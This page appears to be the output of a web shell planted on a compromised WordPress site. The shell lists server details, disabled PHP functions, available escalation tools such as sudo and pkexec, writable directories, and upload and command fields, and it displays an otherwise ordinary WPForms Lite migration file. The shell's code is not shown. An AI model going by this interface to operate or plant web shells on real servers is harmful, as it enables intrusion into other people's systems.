403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.188.10
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/coircraft.com/wp-content/plugins/wpforms-lite/src/Migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/coircraft.com/wp-content/plugins/wpforms-lite/src/Migrations/Upgrade175.php
<?php

namespace WPForms\Migrations;

use WPForms\Tasks\Meta;
use WPForms\Tasks\Tasks;

/**
 * Class v1.7.5 upgrade.
 *
 * @since 1.7.5
 *
 * @noinspection PhpUnused
 */
class Upgrade175 extends UpgradeBase {

	/**
	 * Delete all task meta of not active tasks.
	 *
	 * @since 1.7.5
	 *
	 * @noinspection ElvisOperatorCanBeUsedInspection
	 *
	 * @return bool|null Upgrade result:
	 *                   true  - the upgrade completed successfully,
	 *                   false - in the case of failure,
	 *                   null  - upgrade started but not yet finished (background task).
	 */
	public function run() {

		global $wpdb;

		if ( ! $this->as_tables_exist() ) {
			return true;
		}

		$group = Tasks::GROUP;
		$sql   = "SELECT DISTINCT a.args FROM {$wpdb->prefix}actionscheduler_actions a
					JOIN {$wpdb->prefix}actionscheduler_groups g ON g.group_id = a.group_id
					WHERE g.slug = '$group' AND a.status IN ( 'pending', 'in-progress' )";

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared
		$results = $wpdb->get_results( $sql, 'ARRAY_A' );
		// phpcs:enable WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared

		$results  = $results ? $results : [];
		$meta_ids = [];

		foreach ( $results as $result ) {
			$args = isset( $result['args'] ) ? json_decode( $result['args'], true ) : null;

			if ( $args && ! empty( $args['tasks_meta_id'] ) ) {
				$meta_ids[] = $args['tasks_meta_id'];
			}
		}

		$table_name = Meta::get_table_name();
		$not_in     = $meta_ids ? wpforms_wpdb_prepare_in( $meta_ids ) : '0';

		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching
		$wpdb->query( "DELETE FROM $table_name WHERE id NOT IN ( $not_in )" );

		// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.NoCaching

		return true;
	}

	/**
	 * Check whether AS tables exist.
	 *
	 * @since 1.7.6
	 *
	 * @return bool
	 */
	private function as_tables_exist() {

		global $wpdb;

		$required_tables = [
			$wpdb->prefix . 'actionscheduler_actions',
			$wpdb->prefix . 'actionscheduler_groups',
		];

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.NoCaching
		$tables    = $wpdb->get_col( "SHOW TABLES LIKE '{$wpdb->prefix}actionscheduler%'" );
		$intersect = array_values( array_intersect( $tables, $required_tables ) );

		sort( $intersect );
		sort( $required_tables );

		return $intersect === $required_tables;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit